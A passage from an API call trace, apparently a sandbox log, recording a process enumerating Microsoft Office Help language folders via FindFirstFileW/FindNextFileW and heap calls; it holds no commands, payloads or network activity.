ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.907] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0287.907] GetProcessHeap () returned 0xaf0000 [0287.907] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1028\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.908] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.908] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.908] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.908] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.909] GetProcessHeap () returned 0xaf0000 [0287.909] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.909] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0287.909] GetProcessHeap () returned 0xaf0000 [0287.909] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1031\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.909] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.909] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.910] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.910] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.910] GetProcessHeap () returned 0xaf0000 [0287.910] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.910] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0287.910] GetProcessHeap () returned 0xaf0000 [0287.910] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.910] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.910] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.911] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.911] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.911] GetProcessHeap () returned 0xaf0000 [0287.911] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.911] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0287.911] GetProcessHeap () returned 0xaf0000 [0287.911] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1036\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.911] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.911] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5688, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.912] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5688, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.912] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.912] GetProcessHeap () returned 0xaf0000 [0287.912] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.912] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0287.912] GetProcessHeap () returned 0xaf0000 [0287.912] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1040\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.913] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.913] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.913] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.913] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.913] GetProcessHeap () returned 0xaf0000 [0287.913] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.913] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0287.913] GetProcessHeap () returned 0xaf0000 [0287.913] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1041\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.914] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.914] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.914] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.914] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.914] GetProcessHeap () returned 0xaf0000 [0287.914] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.914] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0287.914] GetProcessHeap () returned 0xaf0000 [0287.914] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1042\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.915] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.915] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.915] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.915] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.926] GetProcessHeap () returned 0xaf0000 [0287.926] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.926] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0287.926] GetProcessHeap () returned 0xaf0000 [0287.926] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1046\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0287.927] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.927] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ba8090, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.927] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ba8090, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.927] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0287.927] GetProcessHeap () returned 0xaf0000 [0287.927] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | 